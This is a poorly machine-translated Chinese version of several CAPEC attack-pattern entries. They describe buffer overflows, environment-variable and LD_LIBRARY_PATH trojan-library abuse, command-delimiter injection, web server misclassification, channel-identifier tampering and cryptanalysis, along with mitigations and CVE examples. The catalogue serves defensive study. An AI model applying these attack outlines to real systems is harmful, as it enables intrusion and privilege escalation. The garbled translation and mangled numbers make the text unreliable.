2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述,攻击先决条件和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 应用程序通常使调用函数库的一部分外部应用程序。这些库可能是操作系统的一部分,也可以是第三方库。可能是应用程序不妥善处理情况下,访问这些库已被封锁。根据应用程序中的错误处理,屏蔽了库可能离开系统处于不安全状态,可能被攻击者利用。 确定外部库应用程序访问。 屏蔽外部库访问的应用程序。 监控系统的行为是否进入一个不安全的/不一致的状态。 如果系统进入一个不安全的/不一致的状态,利用获得的信息系统功能或数据,提高访问控制等等。这种攻击的其余部分将取决于上下文和期望的目标。 一个应用程序需要访问外部库。 攻击者有特权,都阻止应用程序访问外部库。 媒介 媒介 API滥用 修改的资源 一个基于web的系统使用第三方加密随机数生成库,熵来自机器的硬件。这个库是用于生成应用使用的用户会话id。如果图书馆不可访问,应用程序而不是使用基于软件的弱伪随机数生成库。攻击者系统的块访问应用程序的第三方加密随机数生成库(通过重命名)。应用程序依次使用弱伪随机数生成库生成会话id是可预测的。攻击者利用这个弱点来猜另一个用户的会话id执行水平高度特权升级和获得另一个用户的帐户。 确保应用程序处理的情况下安全地进入外部api库不可用。如果应用程序不能安全地继续执行它应该会失败在一个一致的和安全的方式。 拒绝服务 信息泄漏 特权升级 589年 有针对性的 227年 有针对性的 没有安全 剥削 所有 所有 所有 所有 肖恩·巴纳姆 Cigital公司。 2007-03-25 确定创建模式的优先事项 Evgeny Lebanidze Cigital公司, 2007-03-21 充实内容模式 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修改 这种攻击目标库或共享代码模块容易受到缓冲区溢出攻击。攻击者谁有权访问的API可能试图嵌入恶意代码的API函数调用和函数中利用缓冲区溢出漏洞的实现。所有客户,利用协会的代码库从而变得脆弱。这有一个非常广泛的影响安全系统,通常影响多个软件过程。 1 -攻击者可以调用一个API公开的目标主机。 2 -在探索阶段,攻击者注入恶意代码使用API调用和观察结果。攻击者的目标是发现一个缓冲区溢出漏洞。 3 -攻击者发现缓冲区溢位的弱点,工艺品和注入恶意代码通过一个API调用。攻击者可以在最坏的情况下目标主机上执行远程代码。 目标主机向用户公开的API。 一个或多个API函数公开的目标主机的缓冲区溢出漏洞。 API滥用 注射 在FreeBSD缓冲区溢出攻击的例子:Libc FreeBSD效用setlocale(模块中发现Libc)让很多项目处于危险之中。 Xtlib缓冲区溢出的Xt库X窗口系统允许本地用户使用root特权执行命令。 低:攻击者可以简单地由一个长字符串插入溢出缓冲区attacker-modifiable注入向量。结果可以是一个DoS。高:利用缓冲区溢出堆栈注入恶意代码的软件系统,甚至堆可能需要更高的技术水平。 使用一种语言或编译器执行自动范围检查。 使用安全功能不容易缓冲区溢出。 如果你必须使用危险的功能,确保你边界检查。 基于编译器的金丝雀StackGuard等机制,ProPolice和Microsoft Visual Studio / GS标志。除非这提供了自动范围检查,它不是一个完整的解决方案。 使用操作系统的预防功能。不是一个完整的解决方案。 拒绝服务 运行任意代码 信息泄漏 数据修改 用户提供的数据。 缓冲区溢出的攻击者。 当函数返回控制主程序时,它跳的返回地址部分堆栈框架。不幸的是返回地址可能被覆盖的缓冲区溢出和地址可能包含调用一个特权命令或恶意代码。 最常见的是远程代码执行。 120年 有针对性的 119年 有针对性的 118年 有针对性的 74年 有针对性的 20. 有针对性的 680年 有针对性的 733年 二次 697年 有针对性的 One hundred. 更详细的 绑定检查时应该执行的数据复制到缓冲区。 不愿相信 深度防御 渗透 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE -缓冲错误 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击目标的命令行实用工具可用的贝壳。攻击者可以利用漏洞中发现一个命令行实用程序升级特权根。 1 -攻击者识别命令实用程序公开的目标主机。 2 -在探索阶段,攻击者与命令交互效用和观察其输入的结果。攻击者的目标是发现一个缓冲oveflow命令的工具。例如攻击者会发现输入数据不正确验证。 3 -攻击者发现缓冲区溢位的弱点在命令效用,并试图利用它。他工艺品恶意代码注入它使用命令效用。攻击者可以在最坏的情况下目标主机上执行远程代码。 目标主机向用户公开了一个命令行实用程序。 命令行实用程序公开的目标主机的缓冲区溢出漏洞,可以利用。 注射 API滥用 攻击的例子:HPUX passwd的缓冲区溢出HPUX passwd命令允许本地用户通过命令行选项来获得根权限。< / AttackExample > < AttackExample >攻击的例子:Solaris getopt缓冲区溢位Solaris的getopt命令(libc)允许本地用户获得根权限通过长argv [0]。 低:攻击者可以简单地由一个长字符串插入溢出缓冲区attacker-modifiable注入向量。结果可以是一个DoS。高:利用缓冲区溢出堆栈注入恶意代码的软件系统,甚至堆可能需要更高的技术水平。 攻击者可以探测目标主机上的服务。许多服务可能暴露一个命令效用。例如Telnet服务可以通过一个命令来调用shell。 仔细审查服务的实现之前,它提供给用户。例如你可以使用手动或自动代码审查发现诸如缓冲区溢出漏洞。 使用一种语言或编译器执行自动范围检查。 使用一个抽象库抽象危险的api。不是一个完整的解决方案。 基于编译器的金丝雀StackGuard等机制,ProPolice和Microsoft Visual Studio / GS标志。除非这提供了自动范围检查,它不是一个完整的解决方案。 操作:使用操作系统的预防功能。不是一个完整的解决方案。 最新的补丁应用到您的用户公开的服务。这可能不是一个完整的解决方案,特别是针对零天攻击。 没有不必要的公开服务。 特权升级 运行任意代码 数据修改 拒绝服务 信息泄漏 用户提供的数据。 缓冲区溢出的攻击者。 当函数返回控制主程序时,它跳的返回地址部分堆栈框架。不幸的是返回地址可能被覆盖的缓冲区溢出和地址可能包含调用一个特权命令或恶意代码。 最常见的是远程代码执行。 120年 有针对性的 118年 有针对性的 119年 有针对性的 74年 有针对性的 20. 有针对性的 680年 有针对性的 733年 二次 697年 有针对性的 One hundred. 更详细的 10 更详细的 不愿相信 深度防御 最小特权 绑定检查时应该执行的数据复制到缓冲区。 渗透 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE -缓冲错误 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致攻击执行流的变化,探索技术和方法的攻击 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击模式涉及到通过操纵环境变量导致缓冲区溢出。一旦攻击者发现他们可以修改一个环境变量,他们可能试图溢出缓冲区有关。这种攻击利用隐式信任通常放置在环境变量。 1 -攻击者试图找到一个环境变量,可以覆盖例如通过收集关于目标主机的信息(错误页面,软件的版本号,等等)。 2 -攻击者操纵环境变量包含内容过长导致缓冲区溢出。 3 -攻击者可能利用缓冲区溢出来注入恶意的代码以执行特权命令在目标环境。 应用程序使用环境变量。 一个环境变量接触到用户缓冲区溢出。 脆弱的环境变量使用不可信的数据。 污染的环境变量中使用的数据是不正确的验证。例如边界检查不做过的输入数据复制到缓冲区。 注射 攻击的例子:在$ HOME缓冲区溢出缓冲区溢出sccw允许本地用户获得root访问通过$ HOME环境变量。 cve - 1999 - 0906 攻击的例子:在术语缓冲区溢出缓冲区溢出远程登录命令项目包括其消费的环境变量。 cve - 1999 - 0046 低:攻击者可以简单地由一个长字符串插入溢出缓冲区attacker-modifiable注入向量。结果可以是一个DoS。高:利用缓冲区溢出堆栈注入恶意代码的软件系统,甚至堆可能需要更高的技术水平。 与系统交互时攻击者通常调查环境变量可以被覆盖。更多的用户了解系统越有可能她会找到一个脆弱的环境变量。 在web环境中,攻击者可以读取客户端代码和寻找环境变量可以被覆盖。 有工具,如Sharefuzz (http://sharefuzz.sourceforge.net/)是一个环境变量fuzzer为Unix支持加载共享库。攻击者可以使用这些工具来发现一个环境变量的缓冲区溢出。 如果应用程序绑定检查,它应该失败当数据源大于目标缓冲区的大小。如果应用程序的代码写得很好,失败应该三角警报。 不公开用户环境变量。 不要使用不受信任的数据在你的环境变量。 使用一种语言或编译器执行自动范围检查 有工具,如Sharefuzz (http://sharefuzz.sourceforge.net/)是一个环境变量fuzzer unix支持加载共享库。你可以使用Sharefuzz确定暴露一个环境变量容易缓冲区溢出。 拒绝服务 运行任意代码 信息泄漏 数据修改 特权升级 用户可以修改环境变量。 用户提供的数据可能包含恶意代码。 当使用环境变量的子例程返回主程序控制,它跳跃的返回地址部分堆栈框架。不幸的是返回地址可能被覆盖的缓冲区溢出和地址可能包含调用一个特权命令或恶意代码。 最常见的是远程代码执行。 120年 有针对性的 302年 有针对性的 118年 有针对性的 119年 有针对性的 74年 有针对性的 99年 有针对性的 20. 有针对性的 680年 有针对性的 733年 二次 697年 有针对性的 One hundred. 更详细的 不愿相信 绑定检查时应该执行的数据复制到缓冲区。 渗透 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE -缓冲错误 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致名称的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种类型的攻击利用Web服务器采取行动的决定基于文件名或文件扩展名。因为不同的文件类型是由不同的服务器进程,误分类可能会迫使Web服务器采取意想不到的行动,在一个意想不到的或预期的行动序列。这可能会导致服务器耗尽资源,提供调试或系统数据攻击者,或者绑定攻击者远程过程。这种类型的漏洞被发现在许多广泛应用服务器包括IIS, Lotus Domino和猎户座。攻击者的工作在这种情况下很简单,使用标准的通信协议和方法和通常附加在尾端恶意信息的合法请求。攻击paylod各不相同,但它可能是像一段特殊字符或简单地添加一个标签朝上一个特殊的jsp等操作在服务器端java应用程序服务器。这种攻击的本质是,攻击者欺骗服务器执行功能基于请求的名称,即登录。jsp,而不是内容。 Web服务器软件必须依靠文件名或文件扩展名进行处理。 媒介 注射 修改的资源 J2EE应用程序服务器应该执行Java服务器页面(JSP)。有信息披露相关问题猎户座应用服务器,攻击者,附加一段时间(.)或空格字符的一个合法的Http请求,然后服务器显示完整源代码在攻击者的web浏览器。http://victim.site/login.jsp。因为远程数据和目录访问可能直接从JSP访问,这是一个潜在的非常严重的问题。参考http://www.securityfocus.com/bid/17204/info 低→修改文件名或文件扩展名中→使用错误分类来迫使Web服务器配置信息披露,源代码或二进制数据 能够执行HTTP请求到Web服务器 实现:服务器例程应该由内容不是由文件名或文件扩展名。 信息泄漏 特权升级 ”攻击模式:导致Web服务器错误分类非常有名的分类问题发生在一个Web服务器检查文件名的最后几个字符来决定什么样的文件。有很多方法可以利用这种problems-appending某些字符串文件名,添加点,等等。”(霍格伦德和McGraw 04) 恶意输入通过标准Web应用程序调用,例如HTTP请求。 随攻击模式的实例化。恶意代码可能改变或添加文件名或扩展交流过程以意想不到的秩序。 客户端机器和客户网络 使攻击者能够强迫披露配置web服务器,源和数据 69年 二次 77年 二次 侦察 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 攻击者意识到更多的数据被送入一个多播或公共信息分布方式为另一个客户只能选择“信息绑定,即使分布意味着本身迫使用户进行身份验证,以连接下去。这样做可能允许攻击者访问特权信息,通过分配方式可能犯下其他攻击模拟。如果通道/消息被操纵一个输入系统,而不是输出机制(如命令总线),这种风格的攻击可能会改变它的标识符从更少的特权特权通道或命令。 确定信息的本质在运输以及标识符用作攻击的一部分 如果需要,对分销渠道进行身份验证 如果任何特定客户的信息可以通过运输方式只需选择一个特定的标识符,攻击者可以提供特定的标识符。 攻击者与客户端访问连接到输出通道改变通道标识符和能看到别人的(也许更多的特权)数据。 信息和client-sensitive(放置)数据必须通过分销渠道提供给所有用户。 分布意味着必须的代码(通过通道,消息标识符,或约定)消息目的地的方式可见分布意味着本身(如控制通道)或消息本身。 非常高的 某B2B接口在一个大型应用程序代码通过MQSeries队列的消息,在一个“伙伴”频道。消息通道编码客户目的地的基于partner_ID字段,由每个消息。该字段是一个简单的整数。攻击者获得渠道,也许一个特别爱管闲事的伙伴,可以简单地选择存储消息的另一个对象的ID和阅读他们的欲望。注意,认证并不阻止合伙人对其他合作伙伴利用这种攻击。它只是不允许攻击者没有伙伴状态进行这种攻击。 低:所有攻击者需要发现的格式上的消息渠道/分销方式和特定的标识符中使用的消息。 攻击者需要控制源代码的能力或应用程序配置负责选择消息/频道id是吸收公众的分布。 协助协议分析:因为协议攻击是一个公共频道,或一个攻击者可能已经授权访问,他们需要的只是解码通道或消息的角度解释编码消息标识符。探索一样简单的改变这个值和观察其效果。 把一些ACL(令牌)的形式经过身份验证的用户,他们提供的中间件。中间件使用该令牌的通道/消息选择客户,或部分特权通道/消息的授权决策。其目的是系统架构师,将适当的认证/授权与每个通道/信息。 重新架构系统输入/输出通道作为适当的分配自我保护的数据。即加密(或保护)渠道/消息,只有经过授权的读者可以看到它们。 信息泄漏 特权升级 这种模式适用于情况下公开访问分布意味着代码(通过通道,消息标识符,或约定)关系的订阅信息消息分发。通常,这将发生在面向消息的中间件的公交车,多播频道,或提要。 201年 有针对性的 306年 二次 21 类似的 完整的中介 使用的身份验证机制,在适当情况下,正确 正确使用授权机制:这指的是模棱两可的身份验证。许多授权系统使用模棱两可的符号(即。主体名称)来识别校长允许规避授权通过使用一个不同的,尽管等效,校长的名字。例如,有许多实现限制远程主机访问本地服务,允许许多proper-but显然不同的名称为独特的主机(如完全限定域名,缩短名称,cname, IPv4地址,IPv6地址)。 渗透 媒介 客户机-服务器 n层 SOA 所有 所有 所有 约翰·史蒂文 Cigital公司 2007-02-10 最初的核心模式内容 Chiradeep b Chhaya Cigital公司 2007-02-23 充实模式与额外的内容 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者直接或间接修改环境变量或控制目标所使用的软件。攻击者的目标是使目标偏离预期的软件操作的方式攻击者受益。 1 -攻击者调查申请信息。哪个版本的应用程序运行?有已知的环境变量吗?等。 2 -攻击者可以控制一个环境变量和关系找出过程(es)环境变量控制。 3 -攻击者修改环境变量滥用的正常流动过程或获得特权或者资源。 一个环境变量可以给用户。 一个环境变量使用的应用程序可以与用户提供的污染数据。 一个环境变量中使用输入数据不能正常验证。 变量封装做得不恰当。例如设置一个变量作为公共类使它可见,攻击者可能尝试操纵变量。 非常高的 非常高的 注射 修改的资源 协议处理 环境变量LD_LIBRARY_PATH环境变量改变TELNET将导致TELNET使用另一个(可能是木马)版本的函数库。木马库必须使用目标文件系统访问和应包括木马代码将允许用户与一个糟糕的密码登录。这就要求攻击者上传木马库目标上的特定位置。作为替代上传木马文件,一些文件系统支持文件路径,包括远程地址,如\ \ 172.16.2.100 \ shared_files \ trojan_dll.dll。 路径操作(cve - 1999 - 0073) 低:在基于web的场景中,客户端控件的数据提交到服务器。所以任何人都可以尝试发送恶意数据,试图绕过身份验证机制。中/高:一些更高级的攻击可能需要了解协议和探测技术,帮助控制一个变量。恶意用户可能会试图理解身份验证机制以击败它。 故意攻击者可以修改客户端参数和监控服务器的行为如何修改。例如攻击者将着眼于cookie数据URL参数,形式的隐藏变量,变量中使用系统调用等。 如果客户使用二进制格式的程序连接到服务器,反汇编程序可以用来识别参数在二进制代码,然后攻击者会试图模拟客户端应用程序和改变一些参数发送到服务器。例如攻击者可能会发现一个秘密密钥或路径是硬编码的二进制客户机应用程序。 环境变量通常存储在明文配置文件。如果攻击者可以修改这些配置文件,他可以控制环境变量。甚至读访问可能是危险的,因为这可能会给敏感信息来执行这种类型的攻击。确实知道哪些环境变量应用程序使用这种类型的攻击是一个先决条件。 攻击者可能试图混淆它试图破坏目标过程(如身份验证)通过使用有效值为她控制的变量。通过使用有效值用户试图了解身份验证机制。这将是更严重的攻击做准备。 保护环境变量免受未经授权的读和写访问。 保护配置文件包含环境变量对非法的读和写访问。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。 应用最小特权原则。如果一个进程没有合法理由读一个环境变量不给,特权。 运行任意代码 特权升级 拒绝服务 信息泄漏 客户端控制参数 客户端控制参数的新值。 激活区是服务器端功能,客户端控制参数是消费。 消耗攻击者控制参数可以击败应用程序的正常过程。 353年 有针对性的 285年 二次 302年 有针对性的 74年 有针对性的 15 有针对性的 73年 有针对性的 20. 二次 200年 二次 cve - 2006 - 4244 SQL-Ledger 2.4.4通过2.6.17验证用户验证SQL-Ledger——【用户名】cookie的值匹配将sessionid参数的值,它允许远程攻击者获得任何登录的用户通过设置cookie和参数设置为相同的值。 cve - 2006 - 2734 进入。asp在Mini-Nuke 2.3和更早更容易为远程攻击者进行密码猜测攻击的guvenlik参数设置相同的值作为隐藏gguvenlik参数,它绕过验证步骤,因为guvenlik参数由攻击者被认为是不可变的。 cve - 2006 - 2527 Admin / Admin。php在phpBazar 2.1.0的早些时候,允许远程攻击者绕过身份验证过程和未经授权地访问管理部分edit_member通过设置操作参数和参数值为1。 cve - 2006 - 1505 base_maintenance。php在基本分析和安全引擎(基地)4 (melissa)之前,以独立模式运行时,允许远程攻击者绕过身份验证,可能通过设置独立的参数设置为“yes”。 77年 更详细的 76年 更抽象 14 偶尔之前 10 类似的 不愿相信 总是执行明智的数据验证。不接受没有验证受污染的数据。不只是基本身份验证在客户端控制参数。 避免依赖客户端验证。 渗透 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——输入验证 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种类型的攻击利用缓冲区溢位的弱点目标客户端软件通过注入恶意内容的服务定制的敌意。 1。攻击者创建一个自定义恶意服务 2。攻击者获得信息的客户端将对她充满敌意的服务,以确定是否包含一个可利用的缓冲区溢出漏洞。 3所示。攻击者故意恶意数据传到客户端利用缓冲区溢位的弱点,她发现了。 4所示。攻击者利用利用执行任意代码或引起拒绝服务。 有针对性的客户端软件与外部服务器。 目标客户端软件有一个oveflow缓冲区漏洞。 媒介 API滥用 注射 攻击的例子:缓冲区溢出在Internet Explorer 4.0通过嵌入标记作者经常在HTML文档中使用<嵌入>标记。例如<嵌入类型=“音频/ midi”SRC = " /道路/文件。中期“自动启动= " true " >如果攻击者供应过度长路径SRC =指令,[。dll组件将遭受一个缓冲区溢出。这是一个标准的例子,内容在Web页面中直接利用一个有缺陷的模块系统。可能有成千上万的不同数据可以传播到一个给定的系统,因此这些类型的攻击将继续在野外发现。 低:达到拒绝服务攻击,攻击者可以简单地由一个长字符串插入溢出缓冲区attacker-modifiable注入向量。高:利用缓冲区溢出堆栈注入恶意代码的软件系统,甚至堆需要更深入的知识和较高的技术水平。 服务器可能看起来像一个有效的服务器,但在现实中可能是一个充满敌意的服务器旨在欺骗客户端软件。例如服务器可以用蜂蜜罐子,让客户端下载恶意代码。 一旦与客户,充满敌意的服务器可能试图扫描客户的主机开放的端口和潜在客户端软件的漏洞。 充满敌意的服务器也可以尝试安装和运行恶意代码在客户端软件。恶意代码可以用来扫描缓冲区溢出的客户端软件。 指标的一个例子是当客户端软件崩溃后执行代码从一个充满敌意的下载服务器。 客户端软件不应该安装不受信任的代码从一个非认证服务器。 客户端软件应该应经审计的最新补丁和漏洞之前被用于与潜在的恶意服务器通信。 执行输入验证输入缓冲区的长度。 使用一种语言或编译器执行自动范围检查。 使用一个抽象库抽象危险的api。不是一个完整的解决方案。 基于编译器的金丝雀StackGuard等机制,ProPolice和Microsoft Visual Studio / GS标志。除非这提供了自动范围检查,它不是一个完整的解决方案。 确保所有缓冲区一致地bounds-checked。 使用操作系统的预防功能。不是一个完整的解决方案。 拒绝服务 运行任意代码 “浪涛攻击:利用客户端缓冲区溢位没有什么比直接向前攻击那些攻击你。在许多情况下这种哲学是实例化的一系列拒绝服务攻击了。在标准情况下,你可以了解IP地址被用来攻击你,然后你可以跟进自己的攻击。(但你要做好心理准备,反击的法律后果是巨大的。)如果攻击者是蠢到开放服务,你可能在某些情况下能够拥有自己的系统。这使得一些安全类型来考虑,而阴险的tactic-creating恶意网络服务看起来像有效目标。的基本思想是建立在蜂蜜罐子的想法,但一个重要的一步。因为大多数客户端软件包含缓冲区溢出和其他漏洞,包括直接利用这些弱点当探测能力的范围内的可能性。不足为奇的是,所有的代码测试和探索在安全情况下,客户机代码通常是忽略。这是其中一个原因与严重的问题比服务器端代码最终代码。 If a vulnerable client attaches to a hostile service, the hostile service can attempt to identify the type and version of the client that is connecting. This is a variety of fingerprinting. Once the client is properly identified, the hostile server can issue a response that exploits a buffer overflow (or some other security defect) in the client. Typically this kind of attack is not designed simply just to crash the client. Attackers using this technique can inject a virus or backdoor into the original attacker’s computer using their own connection against them. Obviously, this kind of “backwash attack” is a serious threat to an attacker. Anyone planning to attack arbitrary systems should assume that a backwash attack can and will happen. Any and all client software should be carefully audited before use.” Attacker-supplied数据可能包含恶意代码。 当函数返回控制主程序时,它跳的返回地址部分堆栈框架。不幸的是返回地址可能被覆盖的缓冲区溢出和地址可能包含调用一个特权命令或恶意代码。 最常见的是远程代码执行或拒绝服务。 120年 有针对性的 353年 有针对性的 118年 有针对性的 119年 有针对性的 74年 有针对性的 20. 有针对性的 680年 有针对性的 697年 有针对性的 713年 有针对性的 8 更详细的 不愿相信 深度防御 渗透 客户机-服务器 其他 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE -缓冲错误 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种类型的攻击利用程序的漏洞,允许攻击者的命令被连接到一个合法的命令的目的指向其他资源,比如文件系统或数据库。系统使用一个过滤器或黑名单输入验证,而不是白名单验证是容易受到攻击者他预测分隔符分隔符(或组合)没有出现在过滤或黑名单。与其他注入攻击,攻击者使用命令分隔符载荷作为入口点隧道通过应用程序和激活附加攻击SQL查询,shell命令,网络扫描等等。 评估目标运行时环境 在运行时环境不隐式的情况下,攻击者使连接到目标系统,并试图确定系统的运行时环境。了解环境选择正确的分隔符是至关重要的。 端口映射可以使用网络软件(例如,nmap, nessus等) env-ClientServer env-Embedded env-CommProtocol env-Peer2Peer env-Web 端口映射通过研究操作系统(sockstat netstat,等等)。 env-Local TCP / IP指纹 env-All 引发错误信息的错误消息 env-All 目标软件通过网络接受连接。 env-Web env-CommProtocol env-Peer2Peer env-Embedded 操作环境(操作系统、语言和/或中间件)被正确识别。 提出了多个候选操作环境。 提供误导性信息TCIP / IP指纹(一些操作系统可以配置为发送签名相匹配的其他操作系统)。 提供误导信息在服务器级别(例如,Apache, IIS, WebLogic,等等)宣布一个不同的服务器软件。 指纹识别技术可以检测到操作系统或网络IDS系统,因为他们离开网络连接的委屈,或者他们不属于一个有效、开放连接。 调查中的应用 攻击者调查目标应用程序,这可能是一个有效的和经过身份验证的用户 搜索所有可用的链接网站 env-Web 库存的所有应用程序输入 env-All 攻击者发展一个有效的输入列表 env-Web env-ClientServer 攻击者的发展可能命令分隔符的列表。 监控页面抓取的速度在web日志。人查看页面,选择一个链接点击会远慢和定期远远少于工具。工具很快发出请求,请求通常间隔的定期(例如0.8秒之间)。 创建链接在某些页面视觉隐藏在web浏览器。使用IFRAMES、图像或其他HTML技术,可以从web浏览人类隐藏的链接,但可见的蜘蛛和程序。请求页面,然后,变成了一个自动化工具的一个很好的预测指标探测应用程序。 积极地监控应用程序从起源和否认或重定向请求,似乎是自动的。 监控功能激活(非web软件)的速度。人激活特性(单击按钮,请求操作,调用api,等等)会慢到目前为止和定期远远少于工具。工具很快发出请求,请求通常间隔的定期(例如0.8秒之间)。 尝试在输入分隔符 攻击者系统地尝试不同的分隔符在已知输入、观察每次应用程序的响应。 注入命令分隔符使用网络包注入工具(netcat、对手等)。 env-CommProtocol env-Web env-Peer2Peer env-ClientServer 注入命令分隔符使用web测试框架(代理、TamperData、自定义程序,等等)。 env-Web 直接在输入字段输入命令分隔符。 env-Embedded env-Local env-ClientServer 第二步是成功的攻击。 env-All 一个或多个命令分隔符从软件平台引发意外反应,这可以被攻击者基于不同的输入。 使用恶意命令分隔符 攻击者使用的组合载荷和精心放置命令分隔符攻击软件。 该软件由攻击者按预期执行。 软件的输入验证或过滤不能检测和阻止存在额外的恶意的命令。 注射 通过添加特殊字符,如分号或执行其他命令的目标过程中,攻击者能够执行各种恶意的命令在目标进程空间,利用目标的继承权限,对任何资源主机访问。可能性是巨大的包括注入攻击RDBMS (SQL注入),目录服务器(LDAP注入),XML文档(XPath和XQuery注入),和命令行shell。在许多注入攻击,结果转换回字符串并显示给客户端过程如web浏览器不释放任何安全警报,所以网络防火墙不记录任何不寻常的行为。LDAP服务器关键资产,如用户身份,概要文件,密码,和组信息,用于进行身份验证和授权的用户。攻击者可以查询目录,执行自定义命令对目录服务器是使用在许多企业王国的钥匙。当用户、组织单位和其他目录对象查询通过建立直接从用户输入查询字符串没有验证,或其他转换,那么攻击者有能力使用任何LDAP命令来查询,过滤器,列表,并直接爬对LDAP服务器以同样的方式作为SQL注入给攻击者的能力在数据库上运行SQL命令。 媒介→攻击者必须确定注入向量,确定具体的命令,并有选择地收集输出,即从一个交互式会话。 沟通能力与服务器同步或异步。可选地,能够捕获输出直接通过同步通信或其他方法如FTP。 设计:对积极的规范执行白名单验证命令长度,类型和参数。 设计:限制程序的特权,如果命令规避程序输入验证或过滤程序然后命令不特权帐户下运行 实现:对所有远程执行输入验证的内容。 实现:使用类型转换,如JDBC准备好的语句。 运行任意代码 信息泄漏 使用分号”攻击模式:命令分隔符”或其他字符偏移,可以将多个命令串在一起。毫无戒心的目标程序将执行所有的命令。”(霍格伦德和McGraw 04) 恶意输入通过附加标准输入分隔符 命令(s)附加到有效参数,使攻击者在主机上执行命令 客户端机器和客户网络 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 146年 有针对性的 77年 有针对性的 184年 有针对性的 78年 有针对性的 185年 有针对性的 93年 有针对性的 140年 有针对性的 157年 有针对性的 138年 有针对性的 154年 有针对性的 697年 有针对性的 713年 有针对性的 6 更详细的 渗透 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 帕科希望 Cigital公司。 2007-10-20 添加扩展攻击执行流 密码分析是一个过程的加密算法的弱点,利用这些弱点解读密文不知道密钥(实例推理)。有时缺点不是密码算法本身,而是如何使密码分析成功的应用。攻击者可能有其他目标,如:1。总-找到密钥2。Gobal演绎——找到一个功能相当的加密和解密算法,它不需要密钥的知识。3所示。明文信息推理,获得一些信息或暗文不是之前所知4。识别算法——攻击者有能力区分加密(密文)的输出的随机排列位执行密码分析攻击者的目标将取决于攻击者的特定需求在一个给定的上下文的攻击。在大多数情况下,如果密码分析成功,攻击者将无法走过去能够推断出一些明文信息(目标3)。然而,这可能是足够的对于攻击者来说,这取决于上下文。 攻击者发现密码算法的缺点或弱点在它是如何应用于一个特定的块的明文。 攻击者利用发现的弱点来解密,解密部分或推断出一些信息加密消息的内容。所有的都是不知道密钥。 目标软件利用某种fo加密算法。 存在一个潜在的弱点在使用的密码算法或方法,应用于一个特定的明文。 加密算法的攻击者。 攻击者可以访问密文。 非常高的 非常低的 分析 蛮力 